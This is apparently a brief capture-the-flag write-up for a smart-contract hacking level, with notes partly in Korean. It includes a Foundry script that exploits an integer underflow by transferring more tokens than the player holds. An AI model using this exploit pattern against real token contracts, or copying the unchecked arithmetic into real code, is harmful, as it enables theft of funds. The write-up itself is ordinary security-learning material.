The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
Things that might help:
What is an odometer?
What is an odometer? 찾아봤을때
도움이 된 글
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/eth_token.sol";
contract POC is Script {
Token public target;
function setUp() external {
address payable tokenAddress = payable(vm.envAddress("level_contract_address"));
target = Token(tokenAddress);
}
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
target.transfer(0x478f3476358Eb166Cb7adE4666d04fbdDB56C407,21);
console.log("Attack completed");
}
}
오버플로우 체크하기 !!